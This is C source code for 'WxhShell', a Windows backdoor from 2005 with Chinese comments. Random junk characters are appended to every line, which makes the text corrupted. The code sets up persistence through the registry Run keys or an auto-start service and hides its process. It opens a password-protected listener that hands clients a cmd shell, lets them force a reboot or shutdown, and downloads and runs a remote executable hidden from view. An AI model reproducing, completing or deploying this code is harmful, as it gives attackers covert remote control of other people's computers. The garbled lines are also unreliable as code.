    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ),v[.9!}:  
    else { m]R< :_  
    closesocket(wsh); "1$OPt5  
    ExitThread(0); AYeA)jk  
    } 9eo$Duws  
    break; F&<si:}KB  
    } {1li3K&0s  
  // 获取shell |G&<@8O  
  case 's': { mw!D|  
    CmdShell(wsh); f9W@!]LHJ  
    closesocket(wsh); 2Vas`/~u~  
    ExitThread(0); P95U{   
    break; w{f!t8C*s  
  } /5 B{szf  
  // 退出 dnTB$8&  
  case 'x': { J3KY?,g3O_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 89*CoQ  
    CloseIt(wsh); ,+-l1GpL  
    break; lM`M70~  
    } .Qm"iOyM  
  // 离开 Q*&>Ui[&  
  case 'q': { td%]l1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |b7 v(Hx  
    closesocket(wsh); j|gQe .,1  
    WSACleanup(); @GDe{GG+  
    exit(1); :akEl7/&  
    break; p \A^kX^5  
        } %K8Ei/p\t]  
  } vh5`R/<3  
  } eQ`TW'[9_6  
Cj"+` C)l  
  // 提示信息 F$<>JEdX  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <@6K(  
} 2 eo]D?}  
  } 4Xt.}S!  
@{ *z1{  
  return; /?uA{/8  
} Q xZYy}2  
Oya:{d&=  
// shell模块句柄 H&\[iZ| -N  
int CmdShell(SOCKET sock) L;N)l2m.\  
{ z +,l"#Vv  
STARTUPINFO si; 2z+Vt_%  
ZeroMemory(&si,sizeof(si)); {`?C5<r  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uJ<n W%}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z BjyQ4h  
PROCESS_INFORMATION ProcessInfo; qn) VKx=  
char cmdline[]="cmd"; Br^4N9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); u`?MV2jU2  
  return 0; ;D.a |(Q  
} 0,$eiY)u$  
I/4:SNha  
// 自身启动模式 ln4gkm<]t  
int StartFromService(void) :U;n?Zu S  
{  h0}r#L  
typedef struct [ u7p:?WDW  
{ cV^r_E\m  
  DWORD ExitStatus; Ilt!O^  
  DWORD PebBaseAddress; 7Nx5n<  
  DWORD AffinityMask; ?pSb,kN}'  
  DWORD BasePriority; ) H=}bqn  
  ULONG UniqueProcessId; "<['W(  
  ULONG InheritedFromUniqueProcessId; n^vL9n_N  
}   PROCESS_BASIC_INFORMATION; yKupPp);  
3j<:g%5  
PROCNTQSIP NtQueryInformationProcess; yQ$Q{,S9  
*Iy5 V7`KU  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |,!]]YO.V  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .Ukejx  
;k1 \-  
  HANDLE             hProcess; eh4`a<gC  
  PROCESS_BASIC_INFORMATION pbi; Cka&b  
Jv_KZDOdk  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^3~+|A98M  
  if(NULL == hInst ) return 0; `|nCr  
abog\0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g-G;8x'n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); aC$-riP,?'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Y:o\qr!Y  
bEO\oS  
  if (!NtQueryInformationProcess) return 0; 3JhT  
GxH]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w=e_@^Fkx  
  if(!hProcess) return 0; [/Q .MmnL  
cD^`dn%$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6(#fGH&[  
etnq{tE5  
  CloseHandle(hProcess); ;/-v4  
9Yu63s ia  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <jt_<p +  
if(hProcess==NULL) return 0; `O5 Hzb(}  
8bf_W3  
HMODULE hMod; WG~|sLg  
char procName[255]; MTnW5W-r9  
unsigned long cbNeeded; L@mNfLK  
'YQVf]4P  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); IBP3  
,K/l;M5I  
  CloseHandle(hProcess); V_'!#  
pJg'$iR!/  
if(strstr(procName,"services")) return 1; // 以服务启动 WFr;z*  
^|^ywgK  
  return 0; // 注册表启动 9F~e^v]zp  
} 9_=0:GH k  
ON,sN  
// 主模块 &*Sgyk o`  
int StartWxhshell(LPSTR lpCmdLine) .Iu8bN(L`  
{ %-nYK3  
  SOCKET wsl; d#tqa`@~  
BOOL val=TRUE; k<&zVV '  
  int port=0; c[IT?6J4  
  struct sockaddr_in door; VtTTvP3  
j ."L=  
  if(wscfg.ws_autoins) Install(); !g`^<y!  
%#_"I e  
port=atoi(lpCmdLine); o [ Je  
lRk)  
if(port<=0) port=wscfg.ws_port; "_f~8f`y  
(^{tu89ab  
  WSADATA data; k4C3SI*`4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; B5A/Iv)2  
X[SdDYMY  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   N1',`L5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); S|jE1v"L  
  door.sin_family = AF_INET; AT:L&~O.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); gTM*td(~^  
  door.sin_port = htons(port); &g.do?  
74wDf  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { mi';96  
closesocket(wsl); !=3Ce3-  
return 1; 6*aU^#Hz6  
} YAdk3y~pL  
{}n]\zO %  
  if(listen(wsl,2) == INVALID_SOCKET) { ufF>I  
closesocket(wsl); 3LkcK1x.  
return 1; IDY2X+C#U  
} c 98^~vR]]  
  Wxhshell(wsl); d}w}VL8l  
  WSACleanup(); u]z87#4  
{aVRvZH4  
return 0; yg^ 4<A  
ufi:aE=}  
} YlhyZ&a,  
FX  %(<M  
// 以NT服务方式启动 2CF5qn}T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \zT{zO&!  
{ ~(;HkT  
DWORD   status = 0; -`A+Qp)  
  DWORD   specificError = 0xfffffff; H[Q3M~_E  
E)iX`Xq|0{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }Pm; xHnf&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]~@uStHn  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 98rO]rg  
  serviceStatus.dwWin32ExitCode     = 0; _B?Hw[cc  
  serviceStatus.dwServiceSpecificExitCode = 0;  X@Bg_9\i  
  serviceStatus.dwCheckPoint       = 0; 0O!A8FA0  
  serviceStatus.dwWaitHint       = 0; vNQ|tmn  
?dy t!>C  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); bs_< UE  
  if (hServiceStatusHandle==0) return; O9P4r*prA  
@x@wo9<Fc  
status = GetLastError(); F|&%Z(@a  
  if (status!=NO_ERROR) v:gdG|n"  
{ j%)@f0Ng  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; FM"[:&>  
    serviceStatus.dwCheckPoint       = 0; 8wLGmv^  
    serviceStatus.dwWaitHint       = 0; v[\GhVb  
    serviceStatus.dwWin32ExitCode     = status;  (,R\6  
    serviceStatus.dwServiceSpecificExitCode = specificError; Rjn%<R2nW  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ww0dU_  
    return; J6mUU3F9f  
  } 20w4 '@sq  
Rxq4Diq5k  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |,T"_R_K  
  serviceStatus.dwCheckPoint       = 0; TPA*z9n+B  
  serviceStatus.dwWaitHint       = 0; |F +n7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #G\Ae:O  
} Gce[RB:  
D^S"6v" z  
// 处理NT服务事件,比如:启动、停止 MM*9Q`cB  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (_R!:H(]m  
{ +bk+0k9k5  
switch(fdwControl) W/.n R[!  
{ kbSl.V%)  
case SERVICE_CONTROL_STOP: ~xJ ^YkyH  
  serviceStatus.dwWin32ExitCode = 0; |fY#2\)Yx  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; LX}|%- iv  
  serviceStatus.dwCheckPoint   = 0; 5O~;^0iC  
  serviceStatus.dwWaitHint     = 0; DAy|'%rF1-  
  { SC--jhDZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #n+sbx5~7  
  } lNMJcl3  
  return; S`& yVzv  
case SERVICE_CONTROL_PAUSE: @9lGU#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "?6R"Vk?:  
  break; ZU`HaL$  
case SERVICE_CONTROL_CONTINUE: CoV @{Pi  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Yc5<Y-W  
  break; }tJMnq/m($  
case SERVICE_CONTROL_INTERROGATE: Q6n8,2*  
  break; GL^ j |1  
}; X7SSTcA   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %;#9lkOXWH  
} 0 ke1KKy/d  
&zPM# Q  
// 标准应用程序主函数 .UU)   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) z'zC  
{ <)+;Bg  
d;a"rq@a)  
// 获取操作系统版本 _he~Y2zFz  
OsIsNt=GetOsVer(); fN 1:'d  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )5TX3#=;(G  
hysxHOL  
  // 从命令行安装 1(kd3 qX  
  if(strpbrk(lpCmdLine,"iI")) Install(); Y5TBWcGU%  
0.#% KfQ  
  // 下载执行文件 `KE(R8y  
if(wscfg.ws_downexe) { R!WeSgKCs  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) tAb3ejCo?  
  WinExec(wscfg.ws_filenam,SW_HIDE); mN#&NA  
} !)c0  
/Wy9 ".  
if(!OsIsNt) { d%Ku 'Jy  
// 如果时win9x,隐藏进程并且设置为注册表启动 eoPoG C  
HideProc(); _K~?{".  
StartWxhshell(lpCmdLine); 7RgnL<t~:8  
} &0mhO+g   
else / `w'X/'VJ  
  if(StartFromService()) JM*rPzp  
  // 以服务方式启动 4;w# mzd  
  StartServiceCtrlDispatcher(DispatchTable); p-/}@r3Z+  
else *1}vn%wvn  
  // 普通方式启动 Q1 vse  
  StartWxhshell(lpCmdLine); *OZ O} i  
.gI9jRdKw  
return 0; 4W+nS v  
} q5w)i  
qxD<mZ@-R0  
4_S%K&  
iainl@3Qj  
=========================================== i4 tW8 Il  
m$$98N  
3K_!:[  
*Xd_=@L&B  
wT\dzp>/  
?/s=E+  
" 5{6ebq55"  
 Ia)^  
#include <stdio.h> dnTXx*I:  
#include <string.h> JGk,u6K7  
#include <windows.h> ]%%cc  
#include <winsock2.h> d>7bwG+k  
#include <winsvc.h> iAW oKW  
#include <urlmon.h> @KYmkx W  
FdJC@Y-#uA  
#pragma comment (lib, "Ws2_32.lib") ~ .Eln+N  
#pragma comment (lib, "urlmon.lib") G,i%:my7  
:Zd# }P  
#define MAX_USER   100 // 最大客户端连接数 K#{E87G(  
#define BUF_SOCK   200 // sock buffer :ui1]its4  
#define KEY_BUFF   255 // 输入 buffer XC{(O:EG  
<`m.Vbvm"  
#define REBOOT     0   // 重启 [G|2m_  
#define SHUTDOWN   1   // 关机 B[MZ Pv)  
Dy^4^ J5+  
#define DEF_PORT   5000 // 监听端口 Cj):g,[a  
Jq`fD~(7  
#define REG_LEN     16   // 注册表键长度 HI eMV,.QN  
#define SVC_LEN     80   // NT服务名长度 QX~*aqS3s8  
ArU>./)Q  
// 从dll定义API 4%j&]PASa1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Q<``}:y|>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); w } 2|Do$5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6YU2  !x  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (^Do#3  
(*fsv g~  
// wxhshell配置信息 @+X}O /74  
struct WSCFG { %dT%r=%Y  
  int ws_port;         // 监听端口 KwQO,($,]  
  char ws_passstr[REG_LEN]; // 口令 PvT8XSlTx!  
  int ws_autoins;       // 安装标记, 1=yes 0=no Tz L40="F  
  char ws_regname[REG_LEN]; // 注册表键名 _ zmx  
  char ws_svcname[REG_LEN]; // 服务名 e#HP+b$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 L kq>>?T=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ft.BfgJ$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 n"K7@[d  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $=m17GD  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" '/ &"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =OZ_\vO  
H@j^,  
}; <7] z'  
ycAQPz}=I  
// default Wxhshell configuration ,m b3H  
struct WSCFG wscfg={DEF_PORT, YKc{P"'/ |  
    "xuhuanlingzhe", T&23Pf1  
    1, iRVLo~  
    "Wxhshell", `A^} X  
    "Wxhshell", d<3"$%C  
            "WxhShell Service", }b^lg&$(  
    "Wrsky Windows CmdShell Service", t@HE.h  
    "Please Input Your Password: ", )w` Nkx  
  1, ?GC0dN  
  "http://www.wrsky.com/wxhshell.exe", |}|;OG  
  "Wxhshell.exe" 8say"Qz  
    }; ha),N<'  
si;]C~X*  
// 消息定义模块 zXCIn  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,RHHNTB("  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :ZIcWIV-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -/qrEKQ0U?  
char *msg_ws_ext="\n\rExit."; *Sf^()5C,  
char *msg_ws_end="\n\rQuit."; X>6a@$MxP  
char *msg_ws_boot="\n\rReboot..."; Mvh_>-i  
char *msg_ws_poff="\n\rShutdown...";  ~EM];i  
char *msg_ws_down="\n\rSave to "; ~GeYB6F  
Ja&%J:  
char *msg_ws_err="\n\rErr!"; J?<L8;$s7  
char *msg_ws_ok="\n\rOK!"; p{J_d,JH  
7| T:TbY>  
char ExeFile[MAX_PATH]; ;~bn@T-  
int nUser = 0; I{PN6bn{>  
HANDLE handles[MAX_USER]; 8#Z5-",iw  
int OsIsNt; {EUH#':  
\}=b/FL=U  
SERVICE_STATUS       serviceStatus; zef,*dQY   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |Q;o538  
D=>^m=?0  
// 函数声明 9wAc&nl-Y  
int Install(void); {ybuHC  
int Uninstall(void); k#(cZ  
int DownloadFile(char *sURL, SOCKET wsh); Sv@p!-m  
int Boot(int flag); jQ)>XOok  
void HideProc(void); N96BWgT  
int GetOsVer(void); d"UW38K{  
int Wxhshell(SOCKET wsl); 0d ->$gb  
void TalkWithClient(void *cs); Fc~w`~tv  
int CmdShell(SOCKET sock); sJ/e=1*  
int StartFromService(void); ,9qB}HG  
int StartWxhshell(LPSTR lpCmdLine); !y`e,(E  
e;5Lv9?C8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); YoJ'=z,e  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); BfT,  
8!GLw-kb  
// 数据结构和表定义 %},G(>  
SERVICE_TABLE_ENTRY DispatchTable[] = }YP7x|  
{ Zbh]O CN  
{wscfg.ws_svcname, NTServiceMain}, \cP'#jZz  
{NULL, NULL} 1>VS/H`  
}; gj,J3x4TK/  
nln6:^w  
// 自我安装 zD;] sk4  
int Install(void) Q;O)>K  
{ jYX9; C;J  
  char svExeFile[MAX_PATH]; bTGK@~  
  HKEY key;  MK"  
  strcpy(svExeFile,ExeFile); DS}rFU  
az;jMnPpR5  
// 如果是win9x系统,修改注册表设为自启动 V55J[s*6!  
if(!OsIsNt) { ,l .U^d6>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -Q PWi2:k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m2CWQ[u  
  RegCloseKey(key); l\;mP.!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F ssEs!#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @) ZO$h  
  RegCloseKey(key); gQ=POJ=G  
  return 0; MlK`sH6  
    } `]P5,  
  } |;9 A{#zM  
} Y\e]2  
else { p_qm}zp  
.q`H`(QM  
// 如果是NT以上系统,安装为系统服务 - (_e=3$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); O+p-1 C$\  
if (schSCManager!=0) VNrO(j DUv  
{ ZoON5P>  
  SC_HANDLE schService = CreateService Lv5X 'yM  
  ( n_aNs]C9R  
  schSCManager, M2E87w  
  wscfg.ws_svcname, 3V Mh)  
  wscfg.ws_svcdisp, ,0uo&/Y4L  
  SERVICE_ALL_ACCESS, s"',370  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , bV$8 >[`  
  SERVICE_AUTO_START, (#B^Hyz!  
  SERVICE_ERROR_NORMAL, *rn]/w8ZW  
  svExeFile, .pIR/2U\F  
  NULL, vDW&pF_eI>  
  NULL, xw+<p  
  NULL, gJPDNZ*6pk  
  NULL, 5+bFy.UW  
  NULL Vv]$\`d#  
  ); `[@^m5?b-  
  if (schService!=0) 5B>Q 6  
  { dT]L-uRZgy  
  CloseServiceHandle(schService); a#Kmj 0  
  CloseServiceHandle(schSCManager); x\`RW 3 K  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); r2SJp@f  
  strcat(svExeFile,wscfg.ws_svcname); G&@-R{i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0n*rs=\VG  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9eGCBVW:*  
  RegCloseKey(key); ]D{c4)\7C|  
  return 0; a*6wSAA )  
    } Kunle~Ro  
  } niYz9YX  
  CloseServiceHandle(schSCManager); ]HyHz9QkL  
} Yz2{LW[K  
} XhE$&Ff  
x/%7%_+'  
return 1; KP=D! l&q  
} BH&/2tO%  
nY{i>Y  
// 自我卸载 h-r6PY=i  
int Uninstall(void) 0 OAqA?Z  
{ l5=u3r9WYC  
  HKEY key; gH{:`E k7  
e{fZ}`=7y  
if(!OsIsNt) { 068WlF cWV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J4gI=@e  
  RegDeleteValue(key,wscfg.ws_regname); e86Aqehle  
  RegCloseKey(key); r7Nu>[r5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $yDW.pt  
  RegDeleteValue(key,wscfg.ws_regname); 0 &*P}U}Uc  
  RegCloseKey(key); :%/\1$3P  
  return 0; <#xrrRhm}  
  } yy1>r }L  
} N@cMM1  
} 8?e   
else { s.^c..e75C  
ElQJ\%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qs!>tw  
if (schSCManager!=0) _&W0e}4  
{ $42Au2Jg  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); MxY50 ^}(  
  if (schService!=0) *-9#/Cp  
  { x 8 f6,  
  if(DeleteService(schService)!=0) { LKqRvPnh  
  CloseServiceHandle(schService); 4dW3'"R"L  
  CloseServiceHandle(schSCManager); YO)')&  
  return 0; g9DG=\*A  
  } 3%XG@OgP  
  CloseServiceHandle(schService); "w*@R8v  
  } U+4HG  
  CloseServiceHandle(schSCManager); jEZ "  
} (JevHdI*V  
} ;xSRwSNDi(  
S\B5&W  
return 1; +yth_9  
} XK1fHfCEa  
"VV914*z  
// 从指定url下载文件 DZJ eup?Z  
int DownloadFile(char *sURL, SOCKET wsh) +d=~LQ}*  
{ %h0D)6 j  
  HRESULT hr; >/b^fAG  
char seps[]= "/"; ?^U c=  
char *token; GUKDhg,W  
char *file; KZECo1  
char myURL[MAX_PATH]; 8, =G1c  
char myFILE[MAX_PATH]; aJI>FTdK  
'w}p[(  
strcpy(myURL,sURL); K~USK?Q%  
  token=strtok(myURL,seps); b<\$d4Qy  
  while(token!=NULL) 9 >%+bA(  
  { w .tW=z5  
    file=token; D^n xtuT*  
  token=strtok(NULL,seps); Bgf=\7;5  
  } i9KTX%s5^  
3a%xn4P  
GetCurrentDirectory(MAX_PATH,myFILE); gTnS[  
strcat(myFILE, "\\"); M]1;  
strcat(myFILE, file); E evw*;$x  
  send(wsh,myFILE,strlen(myFILE),0); Z^<Sj5}6  
send(wsh,"...",3,0); 97!H`|u <  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \OP9_J(*  
  if(hr==S_OK) 6>s=Ci ZB  
return 0; L/)B}8m\  
else au}s=ua~i  
return 1; )PwQ^||{  
~*,Wj?~+7  
} x=h0Fq ,T  
mdaYYD=c%  
// 系统电源模块 /V#7=,,  
int Boot(int flag) aF!WIvir  
{ Gh'X.?3   
  HANDLE hToken; cg{Gc]'1#  
  TOKEN_PRIVILEGES tkp; B_cgWJ*4  
@O'I)(To  
  if(OsIsNt) { ]9s\_A9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); };^}2Xo+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .wD>Gs{sH[  
    tkp.PrivilegeCount = 1; }Fm\+JOS   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; L $SMfx  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); '=p?  
if(flag==REBOOT) { pUGN!3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;7L;  
  return 0; aV#h5s  
} $,@JYLC2  
else { SetX#e?q~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %P;[fJ `G  
  return 0; /~tP7<7A  
} H~eGgm;p  
  } ncj!KyU  
  else { ~pRs-  
if(flag==REBOOT) { lA]N04 d  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }qL~KA{&  
  return 0; -zdmr"CA  
} JL``iA  
else { h"r!q[MN o  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  ni<[G0#T  
  return 0; {pC\\}  
} cl_T F[n?  
} G1/Gq.<  
*{4 ETr7  
return 1; E?_ zZ2  
} Cx,-_  
h9jc,X u5X  
// win9x进程隐藏模块 +!><5  
void HideProc(void) e,"FnW  
{ ~?d>fR:X  
MO TE/JG  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Qh8C,"a  
  if ( hKernel != NULL ) W"t"X ~T3  
  { w&5/Zh[~~L  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); q~M2:SN@X  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -x5F;d}  
    FreeLibrary(hKernel); qX?[mdCHZ  
  } \OY}GRKt  
ol}`Wwy  
return; TL@mM  
} e[8UH=`|  
6+e4<sy[E  
// 获取操作系统版本 1mix+.d  
int GetOsVer(void) *6P'q4 )  
{ G1[(F`t>  
  OSVERSIONINFO winfo; d'OGVN  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "k, K~@}  
  GetVersionEx(&winfo); 6KO(j/Gwp  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) U6c@Et,  
  return 1; $ 9=8@  
  else ="2/\*.SL  
  return 0; +A\V)  
} .1{l[[= W  
%6HX*_Mr&  
// 客户端句柄模块 y!5:dvt  
int Wxhshell(SOCKET wsl) %qi%$  
{ MQ9vPgh  
  SOCKET wsh; ckWkZ 78\  
  struct sockaddr_in client; *(Ro;?O,pi  
  DWORD myID; `x2,;h!:)N  
I&\4C.\>  
  while(nUser<MAX_USER) %"+4 D,'l  
{ u# 3)p  
  int nSize=sizeof(client); AIv<f9*.:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); OfJd/D  
  if(wsh==INVALID_SOCKET) return 1; O4!9{  
X  Ny Y$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }<&d]N  
if(handles[nUser]==0) 8t=3  
  closesocket(wsh); &~ y{'zoL  
else .l=p[BI  
  nUser++; `-u7 I  
  } P9s_2KOF  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k}s+ca!B  
OEI3eizgH  
  return 0; `V@z&n0P6  
} vnZ4(  
~b#OFnyG  
// 关闭 socket :P,2K5]y  
void CloseIt(SOCKET wsh) ydup)[n  
{ <5k&)EoT  
closesocket(wsh); ^}hZ'<PK  
nUser--; .jaZ|nN8`  
ExitThread(0); %",ULtZ+  
} iJ4 <f->t  
g<\>; }e  
// 客户端请求句柄 !-ZP*V3}h  
void TalkWithClient(void *cs) pND48 g;  
{ Rf?%Tv0\  
=1IEpxh%  
  SOCKET wsh=(SOCKET)cs; .*:h9AE7vo  
  char pwd[SVC_LEN]; {KsVK4\r  
  char cmd[KEY_BUFF]; 7JS#a=D#  
char chr[1]; 6&mWIk^VC  
int i,j; +[_gyLN<5b  
,# eO&  
  while (nUser < MAX_USER) { *#6|!%?g  
0R*}QXph  
if(wscfg.ws_passstr) { @2?=3Wf  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A]#_"fayo  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Zik m?(J  
  //ZeroMemory(pwd,KEY_BUFF);  tI'e ctn  
      i=0; ?;fv!'?%  
  while(i<SVC_LEN) { )%BT*)x  
aX]y`  
  // 设置超时 "raj>2@  
  fd_set FdRead; >pnz_MQ   
  struct timeval TimeOut; PK8V2Ttv  
  FD_ZERO(&FdRead); oW8;^u  
  FD_SET(wsh,&FdRead); y/H8+0sEk  
  TimeOut.tv_sec=8; Rn8#0%/Q  
  TimeOut.tv_usec=0; %![4d;Z%x  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); pRmEryR(U  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); sv@}x[L  
h ;jsH!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IN>TsTo  
  pwd=chr[0]; x7Eeb!s0f,  
  if(chr[0]==0xd || chr[0]==0xa) { eZ[#+0J  
  pwd=0; {8_:4`YZ  
  break; ,~iFEaV+  
  } 6mX:=Q  
  i++; %bN"bxv^  
    } !SN6 ?Xy  
Qve`k<Cj"  
  // 如果是非法用户,关闭 socket  POkXd^pI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =GLYDV  
} gr[D!D >  
dnk1Mu<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); p {w}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O $YJku  
S|tA[klh  
while(1) { A-}PpH~.Z  
Sv~PXi^`H  
  ZeroMemory(cmd,KEY_BUFF); S`iM.;|`O  
WReYF+Uen  
      // 自动支持客户端 telnet标准   4{c`g$j>  
  j=0; L>eQ*311  
  while(j<KEY_BUFF) { H;4oZ[g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PsacXZNs\N  
  cmd[j]=chr[0]; }kpfJLjY  
  if(chr[0]==0xa || chr[0]==0xd) { ^Jc$BMaVg  
  cmd[j]=0; W5 M ]  
  break; hrUm} @d  
  } 8s\8`2=  
  j++; f'8B[&@L  
    } }S1Z>ZA5  
M p}!+K  
  // 下载文件 t"jIfU>'a/  
  if(strstr(cmd,"http://")) { 56 /.*qa  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2y&_Z^kI?  
  if(DownloadFile(cmd,wsh)) |s)VjS4@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :T8u?@ .  
  else AycA :<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f]O5V$!RuE  
  } ZdJVs/33Vn  
  else { T +|J19  
3Y.d&Nz  
